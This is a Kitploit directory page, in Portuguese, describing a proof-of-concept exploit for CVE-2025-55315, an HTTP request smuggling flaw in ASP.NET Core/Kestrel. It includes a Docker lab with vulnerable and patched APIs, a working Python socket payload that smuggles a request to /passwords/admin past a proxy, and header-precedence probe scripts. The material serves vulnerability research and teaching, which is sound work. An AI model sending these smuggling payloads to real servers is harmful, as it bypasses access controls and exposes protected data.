Skip to content
KitploitKITPLOIT
FerramentasBlog
Log in
Enviar
FerramentasBlog
Enviar

Ferramentas de Hacking, PenTest e Cibersegurança para o seu Arsenal de Segurança!

Kitploit é um diretório de ferramentas de hacking, cibersegurança e pentesting. Descubra as últimas atualizações de projetos para encontrar vulnerabilidades, analisar sistemas, automatizar testes e fortalecer sua segurança.

··Feeds·Contato·Privacidade·© 2026 Kitploit

Diretório de Ferramentas

Categorias

Ver todas as categorias
Loading categories
CVE-2025-55315 — Exploração de prova de conceito para CVE-2025-55315 (Contrabando de requisição HTTP no .NET). Demonstra como a codificação chunked analisada incorretamente permite que atacantes contrabandeiem requisições através de proxies e balanceadores de carga em servidores ASP.NET Core/Kestrel vulneráveis. | Kitploit
Ferramentas/GitHubGitHub/martinfabianionut/cve-2025-55315
Análise de VulnerabilidadesExploraçãoExploração de Aplicações WebSegurança WebTestes de PenetraçãoAprendizado e Educação
GitHubmartinfabianionut/cve-2025-55315

CVE-2025-55315

Ver Repositório
14há 10 mesesAinda não revisado

Mais Populares

Ver todos →

Descubra as ferramentas mais usadas pela nossa comunidade.

Explore todas as ferramentas

Navegue pela nossa coleção de ferramentas

Ver todas as ferramentas →

Sobre

Exploração de prova de conceito para CVE-2025-55315 (Contrabando de requisição HTTP no .NET). Demonstra como a codificação chunked analisada incorretamente permite que atacantes contrabandeiem requisições através de proxies e balanceadores de carga em servidores ASP.NET Core/Kestrel vulneráveis.

Compartilhar

CVE-2025-55315

Prova de conceito do exploit para CVE-2025-55315 (Contrabando de Requisições HTTP .NET). Demonstra como a codificação chunked mal interpretada permite que invasores contrabandeiem requisições através de proxies e balanceadores de carga em servidores ASP.NET Core/Kestrel vulneráveis.

📊 Apresentação

Ver Apresentação Interativa no Prezi

Prezi Presentation

🎥 Clique no selo acima para ver a apresentação interativa completa no Prezi

Estrutura do Projeto

  • Api - API ASP.NET Core consolidada com dois Dockerfiles:
    • Dockerfile.vulnerable - Usa .NET 10.0.100-rc.1 (vulnerável ao CVE-2025-55315)
    • Dockerfile.patched - Usa .NET 10.0.100 (versão corrigida)
  • PythonProxy - Proxy vulnerável usado para demonstração do exploit CVE-2025-55315 (favorece Content-Length sobre Transfer-Encoding)
  • YarpProxy - Proxy reverso YARP para testar balanceamento de carga (não faz parte do exploit)

Nota: A vulnerabilidade está no analisador HTTP do runtime .NET (Kestrel), não no código da aplicação. Ambas as versões usam código-fonte idêntico, mas versões diferentes do runtime .NET.

Início Rápido

# Build and run all services
docker-compose up --build

# Access the services
# Unsafe API: http://localhost:5001
# Safe API: http://localhost:5002
# Python Proxy (exploit): http://localhost:5027
# YARP Proxy (load balancing): http://localhost:5028

Consulte DOCKER.md para instruções detalhadas de uso do Docker.

Demonstração do Exploit

O proxy Python demonstra o CVE-2025-55315 ao favorecer o Content-Length sobre o Transfer-Encoding, possibilitando o contrabando de requisições HTTP:

payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5027\r\n"
    "Transfer-Encoding: chunked\r\n"
    "\r\n"
    "2;\n"
    "xx\r\n"
    "39\r\n"
    "0\r\n"
    "\r\n"
    "GET /passwords/admin HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "\r\n"
    "0\r\n"
    "\r\n"
)

import socket
import time

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5027))
    s.sendall(payload.encode())
    
    # Read all available data
    s.settimeout(2.0)
    responses = b''
    try:
        while True:
            chunk = s.recv(4096)
            if not chunk:
                break
            responses += chunk
    except socket.timeout:
        pass
    
    print("=== Complete Response ===")
    print(responses.decode('utf-8', errors='ignore'))
    print("\n=== Checking for smuggled request response ===")
    if b'/passwords/admin' in responses or b'admin' in responses:
        print("✓ Successfully smuggled request to /passwords/admin!")
    else:
        print("✗ Exploit failed or blocked")

Este payload contrabandeia uma segunda requisição para /passwords/admin além da verificação de segurança do proxy, explorando a discrepância na forma como o proxy e o servidor backend analisam a requisição.

Interpretação Visual da Requisição

Veja como o proxy e o servidor backend interpretam o mesmo payload de forma diferente:

INTERPRETAÇÃO DO PROXY (Aceita \n como final de linha válido):

flowchart TD
    subgraph Proxy_Request_1 ["🔴 Requisição 1 - Visão do Proxy"]
        PH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        PCH1["<b>2;\n</b><br/><i>cabeçalho do chunk (aceita \n)</i>"]
        PCB1["<b>xx</b><br/><i>corpo do chunk - 2 bytes</i>"]
        PCH2["<b>39</b><br/><i>cabeçalho do chunk</i>"]
        PCB2["<i>corpo do chunk - 57 bytes</i><br/>(contém requisição contrabandeada)"]
        PLK["<b>0</b><br/><i>último chunk</i>"]
    end
    
    subgraph Proxy_Ignored ["⚫ Ignorado pelo Proxy"]
        PIG["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/>0<br/>(Proxy pensa que faz parte do corpo do chunk)"]
    end

    PH1 --> PCH1 --> PCB1 --> PCH2 --> PCB2 --> PLK
    PLK -.-> PIG

INTERPRETAÇÃO DO BACKEND (Rejeita \n, exige \r\n):

flowchart TD
    subgraph Backend_Request_1 ["🟢 Requisição 1 - Visão do Backend"]
        BH1["POST /passwords HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked<br/><b>2;\n</b> (inválido - parte dos cabeçalhos)<br/><b>xx</b> (cabeçalhos terminam aqui)"]
        BCB1["<b>39</b><br/><i>corpo do chunk</i>"]
        BLK1["<b>0</b><br/><i>último chunk</i>"]
    end
    
    subgraph Backend_Request_2 ["🟢 Requisição 2 - Visão do Backend"]
        BH2["GET /passwords/admin HTTP/1.1<br/>Host: localhost<br/>Transfer-Encoding: chunked"]
        BLK2["<b>0</b><br/><i>último chunk</i>"]
    end

    BH1 --> BCB1 --> BLK1
    BLK1 --> BH2 --> BLK2
    
    style Backend_Request_2 fill:#ff6b6b,stroke:#c92a2a,stroke-width:3px

Diferenças Principais:

ComponenteTamanho do Chunk 2;\nBytes LidosO que acontece
Proxy✅ Tamanho de chunk válido2 bytes (xx)Trata 2;\n como cabeçalho de chunk completo, lê 2 bytes, continua para o próximo chunk
Backend❌ Final de linha inválidoAinda lê como chunk de 2 bytesO cabeçalho do chunk não termina até xx\r\n, portanto 39 vira o corpo do chunk, 0 encerra o chunk

Explicação Detalhada:

  • Proxy: Aceita 2;\n como declaração válida de tamanho de chunk (2 bytes) → Lê xx como corpo do chunk de 2 bytes → Avança para o próximo chunk (39)
  • Backend: Rejeita \n como final de linha → O tamanho do chunk ainda é 2, mas o cabeçalho se estende por 2;\nxx\r\n → Lê 39 como parte do corpo do chunk → 0\r\n encerra o chunk
  • Resultado: A requisição contrabandeada GET /passwords/admin fica oculta no que o backend trata como dados do chunk, mas é analisada como uma requisição separada após o processamento do chunk terminar

A requisição contrabandeada GET /passwords/admin está oculta no que o proxy pensa ser dados do corpo do chunk, mas o backend a analisa como uma requisição HTTP separada.

Identificando a Vulnerabilidade

Antes de explorar, você precisa identificar qual cabeçalho HTTP (Content-Length ou Transfer-Encoding) cada componente favorece. Aqui está um guia passo a passo:

Passo 1: Testar Prioridade de Cabeçalhos

Envie uma requisição com ambos os cabeçalhos Content-Length e Transfer-Encoding: chunked para ver qual deles cada componente respeita:

POST /passwords HTTP/1.1\r\n
Host: localhost:5001\r\n
Transfer-Encoding: chunked\r\n
Content-Length: 2\r\n
\r\n
6\r\n
Fabian\r\n
0\r\n
\r\n

Análise:

  • Se o servidor processar "Fa" (2 bytes) → Favorece Content-Length
  • Se o servidor processar "Fabian" (corpo chunked completo) → Favorece Transfer-Encoding

Passo 2: Testar Cada Componente

Teste todos os componentes da sua arquitetura para encontrar discrepâncias:

Testar API Não Segura (Porta 5001)

# Using Python
import socket

test_payload = (
    "POST /passwords HTTP/1.1\r\n"
    "Host: localhost:5001\r\n"
    "Transfer-Encoding: chunked\r\n"
    "Content-Length: 2\r\n"
    "\r\n"
    "6\r\n"
    "Fabian\r\n"
    "0\r\n"
    "\r\n"
)

with socket.socket(socket.AF_INET, socket.SOCK_STREAM) as s:
    s.connect(('localhost', 5001))
    s.sendall(test_payload.encode())
    s.settimeout(1.0)
    try:
        response = s.recv(4096)
        print("Unsafe API Response:", response.decode('utf-8', errors='ignore'))
    except socket.timeout:
        pass

Testar API Segura (Porta 5002)

# Change port to 5002 and test
# Safe API should handle the conflict properly

Testar Proxy Python (Porta 5027)

Baixar ferramenta